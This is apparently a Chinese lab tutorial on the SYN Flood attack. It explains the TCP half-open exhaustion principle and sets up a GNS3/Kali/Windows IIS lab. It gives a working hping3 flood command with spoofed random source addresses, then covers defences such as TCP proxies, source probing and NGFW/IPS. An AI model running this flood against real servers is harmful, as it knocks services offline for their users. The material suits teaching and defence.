网络协议与攻击模拟_06攻击模拟SYN Flood
一、SYN Flood原理
在TCP三次握手过程中,
- 客户端发送一个SYN包给服务器
- 服务端接收到SYN包后,会回复SYN+ACK包给客户端,然后等待客户端回复ACK包。
- 但此时客户端并不会回复ACK包,所以服务端就只能一直等待直到超时。服务端超时后会重发SYN+ACK包给客户端,默认会重试5次,而且每次等待的时间都会增加。
服务器收到客户端发来的SYN会建立一个半连接状态的Socket,当客户端在一定时间内持续不断的发大量的SYN包但不回复ACK包,就会耗尽服务端的资源,这就是SYN Flood攻击。
二、模拟SYN Flood攻击
1、实验环境
kali、Windows10、GNS3
2、网络拓扑
3、实验配置
- GNS3路由器
R1#conf t
Enter configuration commands, one per line. End with CNTL/Z.
R1(config)#int f0/0
R1(config-if)#ip add 192.168.10.254 255.255.255.0
R1(config-if)#no shut
R1(config-if)#exit
R1(config)#int f1/0
R1(config-if)#ip add 192.168.100.254 255.255.255.0
R1(config-if)#no shut
R1(config-if)#
- kali虚拟机配置网卡eth0
#打开interfaces文件并添加eth0网卡
┌──(root㉿kali)-[/home/kali]
└─# vim /etc/network/interfaces

- 启用网卡并查看IP配置是否成功
┌──(root㉿kali)-[/home/kali]
└─# ifdown eth0
ifdown: interface eth0 not configured┌──(root㉿kali)-[/home/kali]
└─# ifup eth0#ifconfig查看上述更改是否生效
┌──(root㉿kali)-[/home/kali]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500inet 192.168.10.1 netmask 255.255.255.0 broadcast 192.168.10.255inet6 fe80::20c:29ff:fee2:4449 prefixlen 64 scopeid 0x20<link>ether 00:0c:29:e2:44:49 txqueuelen 1000 (Ethernet)RX packets 552 bytes 47915 (46.7 KiB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 51 bytes 7410 (7.2 KiB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536inet 127.0.0.1 netmask 255.0.0.0inet6 ::1 prefixlen 128 scopeid 0x10<host>loop txqueuelen 1000 (Local Loopback)RX packets 18558 bytes 1513808 (1.4 MiB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 18558 bytes 1513808 (1.4 MiB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0#ping测试看网关是否可达
┌──(root㉿kali)-[/home/kali]
└─# ping 192.168.10.254
PING 192.168.10.254 (192.168.10.254) 56(84) bytes of data.
64 bytes from 192.168.10.254: icmp_seq=1 ttl=255 time=44.6 ms
64 bytes from 192.168.10.254: icmp_seq=2 ttl=255 time=25.1 ms
^C
--- 192.168.10.254 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 25.077/34.838/44.599/9.761 ms
- 查看kali路由:
└─# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.10.254 0.0.0.0 UG 0 0 0 eth0
192.168.10.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
- Windows使用命令配静态IP
C:\Windows\system32>netsh interface ip set address "Ethernet0" static 192.168.100.1 255.255.255.0 192.168.100.254
#查看IP是否设置成功 C:\Windows\system32>ipconfig
#ping测试看网关是否可达 C:\Windows\system32>ping 192.168.100.254

ping测试 :kali 虚拟机pingWindows server 2016虚拟机

4、搭建IIS服务
- Windows server 2016上面搭建IIS服务并在本地进行访问

- kali火狐浏览器访问

肉鸡:几十万台同时在发几十万个包
DDOS计算的是同时的流量
5、实施SYN Flood攻击
- 工具:kali (hping3 )
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.100.1
#-c 发送 包的数量
#-d 发送包的大小
#-S 只发送SYN的报文
-w 指定Windows窗口大小
#-p 指定目标端口80
#--flood
#--rand-source发请求的时候指定随机的IP
#服务器的IP

- 多开几个shell进行 SYN Flood攻击:

- 抓到的ICMP数据包

三、如何防御SYN Flood
1、使用TCP代理的方式
客户机先和代理服务器建立TCP连接,代理服务器收到TCP的ACK后,再将数据转发给服务器

如果用DDOS服务器将代理服务器打掉了,服务器也不能正常提供服务了,因为服务器是通过代理来提供服务的。代理:选代理一般使用高性能防火墙。
2、TCP的源探测,探测发送方
client发送syn请求,防火墙伪造SYN+ACk报文,如果客户机是虚假的源就不会响应,如果客户机是真实的源,就会发一个重新建立连接请求的RST报文。防火墙收到RST报文得知客户机是真实的,放通将数据传到服务器。

知识补充:下一代防火墙NGFW
不同信任级别的网络之间的一个线速(wire-speed)实时防护设备,能够对流量执行深度检测,并阻断攻击。
- 前向兼容传统防火墙的功能,包括包过滤、协议状态过滤、NAT和VPN。
- 具备应用感知能力,能基于应用实施精细化的安全管控策略和层次化的带宽管理手段。
- 支持IPS功能,实现IPS(入侵防御系统)与防火墙的深度融合。
IPS系统是位于防火墙和网络的设备之间的设备,当检测到攻击时,IPS会在这种攻击扩散到网络其他地方前阻止这个恶意通信。
NGFW可以根据IPS检测的恶意流量自动更新下发安全策略,而不需要管理员介入。 - 利用防火墙以外的信息,增强管控能力
如利用ITit系统提供的用户信息、位置信息、漏洞和网络资源信息等,帮助改进和优化安全策略。如:通过集成用户认证系统,实现基于用户的安全策略,以应对移动办公场景下IP地址变化带来的管控难题。
相关文章:
网络协议与攻击模拟_06攻击模拟SYN Flood
一、SYN Flood原理 在TCP三次握手过程中, 客户端发送一个SYN包给服务器服务端接收到SYN包后,会回复SYNACK包给客户端,然后等待客户端回复ACK包。但此时客户端并不会回复ACK包,所以服务端就只能一直等待直到超时。服务端超时后会…...
CPU,内存和硬盘之间的关系
计算机三大件:CPU,内存,硬盘。从运算速度来看,CPU>内存>固态硬盘>机械硬盘。 电脑卡顿怎么解决? 1、清理垃圾; 2、释放C盘空间,因为系统需要C盘空间当作虚拟内存; 3、增…...
Java面试题之基础篇
文章目录 一:谈谈你对面向对象的理解二:JDK、JRE、JVM三者区别和联系三:和equals比较四:hashCode与equals五:final六:String、StringBuffer、StringBuilder七:重载与重写的区别?八&a…...
Bitbucket第一次代码仓库创建/提交/创建新分支/合并分支/忽略ignore
1. 首先要在bitbucket上创建一个项目,这个我没有权限创建,是找的管理员创建的。 管理员创建之后,这个项目给了我权限,我就可以创建我的代码仓库了。 2. 点击这个Projects下的具体项目名字,就会进入这样一个页面&#…...
c#反射用法
在 C# 中,反射是一种能够在运行时检查类型信息、访问属性和调用方法的机制。通过反射,你可以动态地操作类型、对象和程序集,而无需在编译时知道这些类型的具体信息。 反射提供了一组 API,可以让你在运行时获取和操作类型的信息。…...
WPF行为
背景:实现按钮鼠标移动到上方有点交互效果或变一下有阴影。这样使用触发器就行了,但是如果是每个控件都有效果的话使用行为更加合适 1、下载NuGet包:Microsoft.xaml.behavior.wpf 2、创建行为类EffectBehavior,对Behavior进行重写…...
N-141基于springboot,vue网上拍卖平台
开发工具:IDEA 服务器:Tomcat9.0, jdk1.8 项目构建:maven 数据库:mysql5.7 系统分前后台,项目采用前后端分离 前端技术:vueelementUI 服务端技术:springbootmybatis-plusredi…...
Unity之Cinemachine教程
前言 Cinemachine是Unity引擎的一个高级相机系统,旨在简化和改善游戏中的相机管理。Cinemachine提供了一组强大而灵活的工具,可用于创建令人印象深刻的视觉效果,使开发人员能够更轻松地掌控游戏中的摄像机行为。 主要功能和特性包括&#x…...
java面面试面经(面试过程)
一、校招一面面经 1.1 自我介绍(2min) 1.2 要求介绍项目一项目亮点以及做的具体工作 根据介绍项目进行细挖,其中包括方案设计、场景设计等等等 由于项目一种涉及数据库源的转换问题和限流方案,所以面试官拷打的是这两块,其中包括场景题&…...
大语言模型-大模型基础文献
大模型基础 1、Attention Is All You Need https://arxiv.org/abs/1706.03762 attention is all you need 2、Sequence to Sequence Learning with Neural Networks https://arxiv.org/abs/1409.3215 基于深度神经网络(DNN)的序列到序列学习方法 3、…...
【RH850U2A芯片】Reset Vector和Interrupt Vector介绍
目录 前言 正文 1. 什么是Reset Vector 1.1 S32K144芯片的Reset Vector 1.2 RH850芯片的Reset Vector 2. 什么是Interrupt Vector 2.1 S32K144芯片的Interrupt Vector 2.2 RH850芯片的Interrupt Vector 3. Reset Vector等价于Interrupt Vector吗 4. 总结 前言 最近在…...
Zabbix交换分区使用率过高排查
Zabbix High swap space usage 问题现象 Zabbix 出现Highswap space usage(less than 50% free)告警,提示交换分区空间使用率超过50% 处理过程 1. 确定swap分区是否已占满 free -h登录Zabbix服务器检查内存情况,检查发现Linux服务器空闲的内存还有不少…...
‘HEAD‘ 是 HTTP 请求的一种方法
一、名词解释 ‘HEAD’ 是 HTTP 请求的一种方法,它与 ‘GET’ 方法类似,但有一些关键区别。 当你使用 ‘GET’ 请求时,服务器会返回请求的资源(例如 HTML 页面或文件内容)。而当你使用 ‘HEAD’ 请求时,服务…...
go语言(十七)----json
1、结构体转json package mainimport ("encoding/json""fmt" )type Movie struct{Title string json:"title"Year int json:"year"Price int json:"rmb"Actors []string json:"actors" }func main() {movie : Mo…...
Java笔记 --- 四、异常
四、异常 Java.lang.Throwable Error Exception(异常) 异常的作用 异常的处理方式 JVM默认的处理方式 捕获异常(自己处理) try里面没有出现异常,就不会运行catch里面的代码 如果出现多个异常,需要多个c…...
Ubuntu20.04配置grub ,不必每次都输入 nomodeset
一、查看原来的grub配置: grep menuentry /boot/grub/grub.cfg 重点注意以下类似的核心版本号 gnulinux-5.15.0-92-generic-advanced-86a86651-8070-4338-92ee-8a1a13a98a05 gnulinux-5.15.0-67-generic-advanced-86a86651-8070-4338-92ee-8a1a13a98a05 …...
PBM模型学习(七)核化模型
Nucleation Rate 返回的是成核速率:单位时间内,多少个小颗粒生成,单位,个,/对于fluent而言,这个是对于网格而言,所以单位是:个/m3*s 成核:从无到有,形成一个…...
蓝桥小白赛4 乘飞机 抽屉原理 枚举
👨🏫 乘飞机 🐷 抽屉原理 import java.util.Scanner;public class Main {static int N 100010;static int[] a new int[N];public static void main(String[] args){Scanner sc new Scanner(System.in);int n sc.nextInt();int q s…...
HTML新手教程
HTML入门 教程:【狂神说Java】HTML5完整教学通俗易懂_哔哩哔哩_bilibili 一.初识HTML HyperTextMarkupLanguage(超文本标记语言) 超文本包括:文字、图片、音频、视频、动画。 HTML5的优势 世界知名浏览器厂商对HTML5的支持市场的…...
P1226 【模板】快速幂题解
题目 给你三个整数a,b,p,求 mod p。 输入输出格式 输入格式 输入只有一行三个整数,分别代表a,b,p。 输出格式 输出一行一个字符串a^b mod ps,其中a,b,p分别为题目给定的值,s为运算结果。 输入输出样例 输入样例 2 10 9 …...
3步释放20GB空间:给Android用户的系统减负指南
3步释放20GB空间:给Android用户的系统减负指南 【免费下载链接】universal-android-debloater Cross-platform GUI written in Rust using ADB to debloat non-rooted android devices. Improve your privacy, the security and battery life of your device. 项目…...
5分钟搞定fastANI安装与基因组比对:从conda安装到结果解读全流程
5分钟搞定fastANI安装与基因组比对:从conda安装到结果解读全流程 第一次接触基因组比对时,我被各种复杂的参数和晦涩的结果文件搞得晕头转向。直到发现了fastANI这个神器——它不仅能快速计算基因组间的平均核苷酸相似性(ANI)&am…...
Qt串口通信实战:用QSerialPort从零搭建一个串口调试助手(附完整源码)
Qt串口通信实战:从零构建工业级调试助手 在嵌入式开发和工业控制领域,串口通信作为最基础也最可靠的通信方式之一,至今仍发挥着不可替代的作用。无论是单片机与上位机的数据交换,还是工业设备的参数配置,一个稳定高效的…...
云容笔谈开源镜像优势:免编译、免依赖、BF16原生支持,开箱即生成
云容笔谈开源镜像优势:免编译、免依赖、BF16原生支持,开箱即生成 最近在尝试各种AI图像生成工具时,我发现了一个很有意思的现象:很多工具要么安装配置复杂,要么生成效果不尽如人意,特别是想要生成具有东方…...
智能变电站实战:如何用SCL配置文件搞定IED设备联调(附避坑案例)
智能变电站实战:SCL配置文件在IED设备联调中的关键作用与避坑指南 在智能变电站的工程实施中,设备联调环节往往成为项目进度的"拦路虎"。据统计,超过60%的现场调试时间消耗在IED设备间的通信配置问题上。SCL(Substation…...
公开信息整理|2026年3月27日:楼市需求、长护险覆盖、个体工商户增长与部分国际动态速览
🔥个人主页:杨利杰YJlio❄️个人专栏:《Sysinternals实战教程》《Windows PowerShell 实战》《WINDOWS教程》《IOS教程》《微信助手》《锤子助手》 《Python》 《Kali Linux》 《那些年未解决的Windows疑难杂症》🌟 让复杂的事情更…...
Stable-Diffusion-v1-5-archive多分辨率实践:512×512 vs 768×768出图质量与耗时对比
Stable-Diffusion-v1-5-archive多分辨率实践:512512 vs 768768出图质量与耗时对比 你是不是也好奇,用Stable Diffusion出图时,分辨率到底该怎么选?是选经典的512512,还是追求更高清的768768?选高了怕电脑跑…...
PCap04电容测量实战:从传感器连接到串口通信的完整指南
PCap04电容测量实战:从传感器连接到串口通信的完整指南 当工程师面对高精度电容测量需求时,PCap04芯片往往成为解决复杂问题的关键。这款集成了数字信号处理能力的电容数字转换器(CDC),能够将皮法级电容变化转化为精确的数字信号。不同于传统…...
Spring Boot 3.2项目实战:5分钟搞定Tomcat虚拟线程配置,让你的接口吞吐量翻倍
Spring Boot 3.2虚拟线程实战:Tomcat配置优化与性能飞跃指南 当你的电商大促接口突然面临每秒上万请求,或者文件上传服务在高并发下响应缓慢时,传统线程池往往成为性能瓶颈。Spring Boot 3.2与Java 21的虚拟线程组合,正在重新定义…...
硬件工程师职业发展路径与核心技术解析
硬件工程师的职业发展路径与技术深度探讨1. 行业现状与职业定位1.1 硬件工程师的职责演变现代硬件工程师的职责范围已从传统的电路设计扩展到系统集成、信号完整性分析、EMC设计等多个领域。典型的职责矩阵包括:职责类别传统要求现代扩展要求电路设计原理图绘制、PC…...
